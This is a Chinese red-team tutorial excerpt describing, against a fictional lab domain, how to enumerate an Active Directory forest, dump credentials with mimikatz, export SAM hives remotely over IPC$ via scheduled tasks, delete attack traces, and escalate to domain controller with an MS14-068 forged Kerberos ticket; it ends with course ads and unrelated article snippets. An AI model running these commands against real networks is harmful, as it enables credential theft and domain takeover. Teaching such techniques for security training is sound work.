实战某大型连锁企业域渗透

点击星标,即时接收最新推文

451206509704acfe5400e49465946f20.png

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

实战域渗透测试流程 

对黑客来说,拿下域控制器是终极目标。然而攻击者空间是如何通过采取信息收集、权限提升、横向移动等一系列手段,从而一步步拿下域控制器的呢?本次将从一张拓扑图开始,和大家一起梳理域的相关知识,并串联内网的各类攻击技术。

实验环境概述  

下图是一张某公司(虚构名:北京test公司)的网络拓扑示意图。该公司员工众多,需要共享复杂的内网资源,为此特意架设了一套域环境test.com,即企业内网上方的部分。域内部署了1台域控制器,用来负责对域内权限和资源管理,并提供DNS服务器功能。下设办公室、生产部2个部门,拥有不同的IP地址网段。

随着公司的日益壮大,又在海南开了1家分公司,考虑到网络规模和节省带宽的需要,以及为了进一步方便对分公司的网络进行管理规划,又在分公司单独搭建了一个子域网络sub.test.com,即企业内网下方的部分。域内部署了1台子域控制器,下设商务部、生产部2个部门,拥有不同的IP地址网段。

假设攻击者拿下了子域的1台商务部计算机pc.sub.test.com,本章的目标是通过该计算机拿下子域控制器,并实施相关操作获取所有子域用户的用户名和密码散列值。   

bb4c337887f2f3243669a7ec013fd892.png

域网络拓扑示意图

1. 北京TEST公司网络配置

域控制器相关配置:

  • 域名:test.com

  • 操作系统:Windows Server 2008

  • 域服务:AD域+DNS服务

  • 计算机名:testdc.test.com

  • 登录用户:bjadmin01

  • IP地址:10.1.1.100

  • DNS1:114.114.114.114(域控制器IP地址)

办公室计算机相关配置:

  • 域名:test.com   

  • 操作系统:Windows 7

  • 域服务:无

  • 计算机名:bgs.test.com

  • 登录用户:testuser1

  • IP地址:10.1.1.5

  • DNS1地址:10.1.1.100(主域控制器IP地址)

生产部计算机配置:

  • 域名:test.com

  • 操作系统:Windows 7

  • 域服务:无

  • 计算机名:scb.test.com

  • 登录用户:testuser2

  • IP地址:10.1.1.6

  • DNS1地址:10.1.1.100(主域控制器IP地址)

2. 海南TEST子公司网络

子域控制器配置:

  • 域名:sub.test.com

  • 操作系统:Windows Server 2012

  • 域服务:AD域+DNS服务

  • 计算机名:dc.sub.test.com

  • 登录用户:hnadmin01 IP

  • 地址:192.168.1.100

  • DNS1: 192.168.1.100(海南子域控制器IP地址)

  • DNS2: 10.1.1.100(北京父域域控制器IP地址)

商务部计算机配置:

  • 域名:sub.test.com

  • 操作系统:Windows 7

  • 域服务:无

  • 计算机名:pc.sub.test.com

  • 登录用户:hnwangwu

  • IP地址:192.168.1.5

  • DNS1: 192.168.1.100(海南子域控制器IP地址)

生产部计算机配置:  

  • 域名:sub.test.com

  • 操作系统:Windows 7

  • 域服务:无

  • 计算机名:pc2.sub.test.com

  • 登录用户:hnzhaoliu

  • IP地址:192.168.1.6

  • DNS1: 192.168.1.100(海南子域控制器IP地址)


实战渗透测试思路简介 

在实战中,由于分公司的员工网络安全意识存在不足,所以攻击者所拿下的第1台内网计算机往往都在子域中。本节假设因为海南子公司的相关人员安全意识不足,下载安装了恶意木马程序,导致一台子域普通计算机(主机名为pc.sub.test.com)被攻击者成功钓鱼并控制。

接下来,攻击者的目标就是利用这台子域的普通计算机为跳板,攻破子域的域控制器。

1. 信息收集

信息收集是内网渗透测试的第一步,通过了解所控制计算机的本机信息以及所处域网络的相关情况,来做到知己知彼。

第1步,收集本机的信息。

输入ipconfig /all命令,查看到本机的主机名为PC,IP地址是192.168.1.5,特别是在DNS后缀列表处可以看到sub.test.com,由此确定主机所处的是域环境。

输入systeminfo命令,可以看到本机的操作系统版本为Windows 7。

输入whoami命令,显示当前的登录用户,返回结果看到登录用户名称,在域环境下一般是域用户,这里是sub\hnwangwu。

输入net user hnwangwu/domain来查看用户权限,这里显示的是Domain Users,为普通域用户。如果在全局组成员处显示的是Domain Admins,那么恭喜你,直接拿下了域管理员账户。

ipconfig /all
# 获取主机名、IP地址、域名等信息
systeminfo
# 获取操作系统和安装补丁等信息
whoami
# 获取当前登录用户名   
net user hnwangwu /domain
# 获取域用户hnwangwu在内网的权限

第2步,搜集域的相关信息。

前面明确了当前计算机所处为域环境,接下来可以进行域内相关信息的收集了。

输入net group groupname /domain可以查询域内组账户相关信息。一般比较常用groupname包括Domain Admins、Domain Controllers、Domain Users、Domain Computers等4个组,分别输入如下信息进行组账户查询。

net group "Domain Admins" /domain
#显示所有域管理员账户,这里为hnadmin01
net group "Domain Controllers" /domain
#显示所有域控制器服务器名: dc.sub.test.com
net group "Domain Computers" /domain
#显示所有域内计算机名: dc.sub.test.com、pc.sub.test.com、pc2.sub.test.com
net group "Domain Users" /domain
#显示所有域用户:hnadmin01、hnwangwu、hnzhaolliu

以上命令查看的是本域的相关信息,是否存在域林以及其它相关情况,可输入如下命令进行查询。

net view /domain
# 该命令用来查询域,显示结果分别为:test.com、sub.test.com、workgroup

Workgroup是工作组,其它两个结果都是域名称,从名称就可以判断出该公司存在域林,父域名为test.com。

再使用如下命令,来查看其父域的相关信息。

net view /domain:test
# 查询父域的计算机情况:显示为dc.test.com、bgs.test.com、scb.test.com

通过上述信息收集,攻击者能够初步判断出当前所处网络环境,这为后续的进一步渗透测试指明了方面,具体信息如下:

一是实现了对当前攻击者所控制的域计算机角色判断。获取到包括主机名、操作系统、IP地址等信息。

二是进一步分析了计算所处网络环境的拓扑结构。可以看出,该计算机处于域环境中,所在域部署有1台域控制器和2台普通域计算机;有3个域用户,其中1个是域管理员。

三是当前域所处网络环境有了初步判断。可以根据查询域的相关信息得出当前域是域林中的子域,该域林包括1个父域和1个子域,父域名为test.com。   

2. 本机密码抓取

攻击者最常用的1个攻击者法,就是在所攻破的计算机上抓取所有登录过的用户名和密码,如果域管理员恰好通过runas或者远程桌面等登录过该计算机,那么攻击者可以直接获取到域管理员用户权限。

具体操作如下:

使用mimikatz,其下载地址为:https://github.com/gentilkiwi/mimikatz,解压缩后的目录结构如图所示。

41e39139f3f1242578442ce1ca3aa737.png

mimikatz目录结构

以管理员权限运行mimikatz.exe,在界面中输入如下命令获取曾经登录到该计算机的用户名及明文密码。

privilege::debug      //提升权限
sekurlsa::logonpasswords           //抓取密码

对抓取到的用户名及其密码进行分析,因为分公司往往网络安全管理往往比较混乱,所以获取到其它域用户密码的可能性较大,这里假设攻击者拿到了域用户hnzhaoliu的密码password。

提醒各位读者,很多企业内网的计算机所安装使用的操作系统是同一个模板,因此它们的本地管理员administrator的密码也都是一样的,若内网未禁用本地管理员用户的远程登录权限,那么就可以用获取到的本地管理员密码来远程登录其它计算机,甚至包括域控制器。

3. 定位用户登录机器

对于拿到的域用户hnzhaoliu,通过命令net user hnzhaoliu /domain命令,可以知道它只是一个普通域用户,那么它在哪台机器上有登录权限呢?

内网攻击的过程中,看起来攻击者是在内网到处横移,流程非常复杂混乱,但其实他们事先借助了定位工具帮助自己查看哪些机器当前账号能够有权限访问。例如使用微软官方提供的PsLoggedon工具,能够查询到该用户能够登录机器pc2.sub.test.com,这为我们下一步横向移动提供了方向,具体命令如下。   

PsLoggedon.exe \\pc2
# \\可以查询到该机器登录用户为hnzhaoliu

4. 通过IPC远程连接执行命令

利用获取到的hnzhaoliu的密码,通过IPC远程连接目标计算机,执行上传、下载操作,运行相关命令,进而获取到目标计算机的密码。

首先建立ipc远程连接。

net use \\pc2\ipc$ "password" /user:sub.test.com\hnzhaoliu
# ipc$: 建立ipc$连接
# “password”:用户明文密码
# /user: 后面跟着域名\域用户名

新建一个批处理脚本,通过使用注册表方法来远程导出目标计算机的SAM文件,脚本中输入如下命令,并将其命名为runsam.bat。

reg save HKLM\SAM sam.hiv
reg save HKLM\SYSTEM system.hiv
exit

接下来,在命令行中使用如下命令将批处理runsam.bat拷贝至目标计算机。

copy runsam.bat \\pc2\C$\windows\temp\

继续在命令行中输入如下命令,通过at指令创建远程计算机pc2的计划任务,使其在指定时间运行该批处理。

at \\pc2 10:10 c:\windows\temp\runsam.bat

批处理被执行后,会在批处理的目录下生成两个相关文件,将这两个文件从目标计算机pc2拷贝到本机。

copy \\pc2\C$\windows\temp\sam.hiv
copy \\pc2\C$\windows\temp\system.hiv

记得清除相关攻击记录,删除批处理脚本及其生成的两个文件,断开和远程计算机pc2的IPC$连接。

del \\PC2\C$\windows\temp\runsam.bat
del \\PC2\C$\windows\temp\sam.hiv
del \\PC2\C$\windows\temp\system.hiv
# 删除runsam.bat、sam.hiv、system.hiv
net use \\PC2\ipc$ /del /y
# 删除ipc$连接

重新以管理员权限运行mimikatz,使用如下命令破解SAM文件密码。需要注意,为确保破解成功,要将system.hiv、sam.hiv这两个文件和mimikatz放在同一个目录中。   

lsadump::sam /sam:sam.hiv /system:system.hiv

在域计算机pc2.sub.test.com上获取到了hnzhaoliu的密码,但没有域管理员密码,所以攻击者继续采取其它措施来获取域控制器的权限了。

5. 利用域用户提权漏洞来拿下域控制器

在存在MS14-068漏洞的情况下,可以实施提权攻击。简单来说,通过PyKEK工具的ms14-068.py脚本生成一个域管理员权限的服务票据,通过票据登录域控制器。

ms14-068.py的使用参数如下所示:

  • -u@:用户名@域名

  • -s:用户SID

  • -d:域控制器名.域名

  • -p:明文密码

  • --rc4:在没有明文密码的情况下,通过NTLM散列值登录。

使用PyKEK生成高权限票据的命令格式如下:

python ms14-068.py -u hnzhaoliu@sub.test.com –p password -s S-1-5-21-4223730591-2862776806-5164649606-2215 –d dc.sub.test.com

再打开mimikatz,输入命令“kerberos::purge”,清除内存中已有的票据信息,如图所示。

59bbffea1a71ac6386041f7c01b21d49.png

清除内存中的票据

在mimikatz中输入如下命令将伪造的票据注入内存,如图所示,注入内存成功。

kerberos::ptc "TGT_hnzhaoliu@sub.test.com.ccache"

d6c089653f1a69261ee3728d42206889.png

将高权限票据注入内存  

使用dir命令,列出域控制器C盘的内容,列出目录成功,表示成功拿下了域控制器权限。

b958c456df6b5896724e8518b68a5f93.png

验证权限

综上所述,围绕获取域控制器的登录权限介绍了两种方法:一种通过在不同的域计算机上持续的权限验证和横向移动,寻找域用户相关登录情况,直至获取到域管理员权限。二是通过权限提升漏洞将普通域用户提升为域管理员权限,除此以外还有第三种思路,就是攻击者可以利用域控制器系统漏洞直接登录到域控制器,比如近年来广泛使用的大杀器ZeroLogon漏洞。

简而言之:域控制器安全任重道远。

—  实验室旗下直播培训课程  —

43b9bb434a7d73591b83d292087d923c.png

32fd3d987bb13eb6852837a3b70ebec7.jpeg

5ede9002a72ff32d03ef2c9662d802d2.jpeg9e81d6a51b0653572672c531cb299f01.png

9eeed1e4200e4b4cf586c32308d173e2.png

3b7e66d76119ea1d50f4a3e53101d423.jpeg

4c597037f81b755dba2c884129ea2d14.jpeg

60c7ec8ef9be746380ca4980fa7060fc.jpeg

6f382d1937588687ad50017d92e5de31.png

和20000+位同学加入MS08067一起学习

de3ed9e4e6aa354c3dd80a8e8aa0a968.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/776940.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Maven基本使用

1. Maven前瞻 Maven官网:https://maven.apache.org/ Maven镜像:https://mvnrepository.com 1.1、Maven是什么 Maven是一个功能强大的项目管理和构建工具,可以帮助开发人员简化Java项目的构建过程。 在Maven中,使用一个名为 pom.…

Nginx-http_auth_basic_module使用

文章目录 前言一、ngx_http_auth_basic_module二、指令1.auth_basic1.auth_basic_user_file 示例生成密码文件配置basic认证浏览器验证 总结 前言 nginx可以通过HTTP Basic Authutication协议进行用户名和密码的认证。 一、ngx_http_auth_basic_module 生效阶段: …

Apache DolphinScheduler 与 AWS 的 EMR/Redshift 集成实践分享

引言 这篇文章将给大家讲解关于DolphinScheduler与AWS的EMR和Redshift的集成实践,通过本文希望大家能更深入地了解AWS智能湖仓架构,以及DolphinScheduler在实际应用中的重要性。 AWS智能湖仓架构 首先,我们来看一下AWS经典的智能湖仓架构图…

软件运维服务方案(Word原件2024)

软件运维服务方案(Word原件) 1. 服务简述 我们提供全面的软件运维服务,确保软件系统的稳定运行。 1.1 服务内容 包括监控、维护、故障排查与优化。 1.2 服务方式 结合远程与现场服务,灵活响应客户需求。 1.3 服务要求 高效响应&am…

计算机应用数学--第三次作业

第三次作业计算题编程题1 基于降维的机器学习2 深度学习训练方法总结 第三次作业 计算题 (15 分)对于给定矩阵 A A A(规模为 42),求 A A A 的 SVD(奇异值分解),即求 U U U, Σ …

Spring 6.1.10版本源码编译

每篇一句 我们对时间的感知其实非常主观,我们越习惯于我们的生活方式,生活里面的新鲜感就越少,我们对时间 的感知就越快,生命就越短。 1.源码下载 进入Spring官网 https://spring.io/ 按照上图步骤进入如下Spring Framework链…

数据结构--单链表实现

欢迎光顾我的homepage 前言 链表和顺序表都是线性表的一种,但是顺序表在物理结构和逻辑结构上都是连续的,但链表在逻辑结构上是连续的,而在物理结构上不一定连续;来看以下图片来认识链表与顺序表的差别 这里以动态顺序表…

实现沉浸式体验的秘诀:深入了解折幕投影技术!

在当今多媒体技术的浪潮中,投影技术已蜕变成为超越传统内容展示范畴的非凡工具,它深度融合了互动性与沉浸感,成为连接观众与虚拟世界的桥梁。折幕投影技术,作为这一领域的璀璨明珠,更是以其独特而神奇的手法&#xff0…

小酌消烦暑|人间正清欢

小暑是二十四节气之第十一个节气。暑,是炎热的意思,小暑为小热,还不十分热。小暑虽不是一年中最炎热的时节,但紧接着就是一年中最热的节气大暑,民间有"小暑大暑,上蒸下煮"之说。中国多地自小暑起…

开发必备基础知识【字符编码合集】

开发必备基础知识【字符编码合集】 大家在日常开发交流中会发现,别人那里运行的好好的文件,在你电脑上却无法编译,甚至出现一堆莫名其妙的字符,比如:��� 程序中经常遇到一些关于乱码…

科普文:如何进行有效沟通

概叙 你会沟通吗? 你知道正确的沟通应该怎么做吗? 在日常生活和工作中,不会沟通带来的困扰是否让你感同身受? 在工作中,你是否因表达不清让观点无法被同事理解和采纳,影响职业发展? 与上级交流是…

开源全新H5充值系统源码/自定义首页+充值页面/灵活对接上游渠道接口

开源全新H5充值系统源码,系统基于thinkphp框架开发,功能已全完善,可灵活对接其他上游渠道接口,默认对接了大猿人接口,另外可无限制自定义创建充值页面,首页支持后台自定义修改,支持三级分销&…

STM32嵌入式工业机器人控制系统教程

目录 引言环境准备工业机器人控制系统基础代码实现:实现工业机器人控制系统 4.1 数据采集模块 4.2 数据处理与分析 4.3 运动控制系统实现 4.4 用户界面与数据可视化应用场景:工业自动化与优化问题解决方案与优化收尾与总结 1. 引言 工业机器人控制系统…

Java基础(六)——继承

个人简介 👀个人主页: 前端杂货铺 ⚡开源项目: rich-vue3 (基于 Vue3 TS Pinia Element Plus Spring全家桶 MySQL) 🙋‍♂️学习方向: 主攻前端方向,正逐渐往全干发展 &#x1…

计算机应用数学--第二次作业

第二次作业计算题编程题 第二次作业 计算题 给定图 G G G(如图 1,图中数值为边权值),图切割将其分割成多个互不连通的⼦图。请使⽤谱聚类算法将图 G G G 聚类成 k 2 k 2 k2 类,使得: (a) RatioCut 最…

《向量数据库指南》——Milvus Cloud索引增强如何提升 RAG Pipeline 效果?

索引增强 1.自动合并块 在建立索引时,分两个粒度搭建,一个是chunk本身,另一个是chunk所在的parent chunk。先搜索更细粒度的chunks,接着采用一种合并的策略——如果前k个子chunk中超过n个chunk属于同一个parent chunk&#xff0c…

架构师学习理解和总结

1.架构设计理念 2.架构方法论 2.1需求分析 2.1.1常见需求层次 2.1.2 常见需求结果 2.1.3 需求与架构关系 2.2 领域分析 2.3 关键需求 2.4 概念架构设计 2.5 细化架构设计 2.6 架构设计验证 3.架构设计工具 3.1 DDD领域建模 3.2 41视图分析法 3.3 UML设计工具 4.架构师知…

Pathformer: multi-scale transformer

文章目录 摘要1 引言贡献 2 相关工作时间序列预测时间序列的多尺度建模 3 方法论3.1 多尺度变压器块多尺度划分双重注意力 3.2 自适应路径多尺度路由器多尺度聚合器 摘要 用于时间序列预测的变压器模型主要针对有限或固定尺度的时间序列进行建模,这使得捕捉跨越不同…

竞赛选题 卷积神经网络手写字符识别 - 深度学习

文章目录 0 前言1 简介2 LeNet-5 模型的介绍2.1 结构解析2.2 C1层2.3 S2层S2层和C3层连接 2.4 F6与C5层 3 写数字识别算法模型的构建3.1 输入层设计3.2 激活函数的选取3.3 卷积层设计3.4 降采样层3.5 输出层设计 4 网络模型的总体结构5 部分实现代码6 在线手写识别7 最后 0 前言…

如何实现一套键盘鼠标控制两台计算机(Mouse Without Borders快速上手教程)

需求背景 当我们需要同时使用一台主机和一台笔记本的时候,如果使用两套键盘和鼠标分别操作各自的系统,非常地不便捷且非常占据桌面空间。那么如何使用一套键盘鼠标控制两台电脑呢? 需求实现 软件说明 我们可以使用微软官方的一款软件Mous…